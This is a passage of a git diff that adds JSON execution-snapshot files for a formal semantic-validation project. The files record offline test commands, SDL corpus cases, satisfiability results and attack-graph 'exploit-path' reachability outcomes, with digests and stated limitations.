+ "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "9f004b08ffc0c2c3a2f30a1c0b72924ac233a7ce", + "source_state": { + "base_revision": "9f004b08ffc0c2c3a2f30a1c0b72924ac233a7ce", + "checkout_state": "modified", + "implementation_digest": "199358669a22d9943e51961ac472d359dafac936ad7bc02c1d37de9140b9102e", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.13.13", + "raes": "3.5.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v33.json b/docs/research/formal-semantic-validation/execution-snapshot-v33.json new file mode 100644 index 000000000..6eac9fd1f --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v33.json @@ -0,0 +1,657 @@ +{ + "baseline": { + "execution_id": "issue-1015-execution-v32", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v32.json", + "release_revision": "33.0.0", + "release_sha256": "3fa2cfd5b902fd7ef0e87979e47944cedca6c10b12939c2970ee5f2fe7b766f1" + }, + "captured_at": "2026-09-19T04:36:31+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v29", + "corpus_revision": "3.0.0", + "deviations": [], + "execution_id": "issue-1186-execution-v33", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1186-execution-v33", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "a2aed61be1aea53a87504db79d6350c7b0045bef", + "source_state": { + "base_revision": "a2aed61be1aea53a87504db79d6350c7b0045bef", + "checkout_state": "modified", + "implementation_digest": "534e6bbfd7480ef3ae856583ce6eda5004da323cfa25b651ce3c96a7d28028b5", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.13.13", + "raes": "3.5.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v34.json b/docs/research/formal-semantic-validation/execution-snapshot-v34.json new file mode 100644 index 000000000..71069440e --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v34.json @@ -0,0 +1,657 @@ +{ + "baseline": { + "execution_id": "issue-1186-execution-v33", + "release_path": 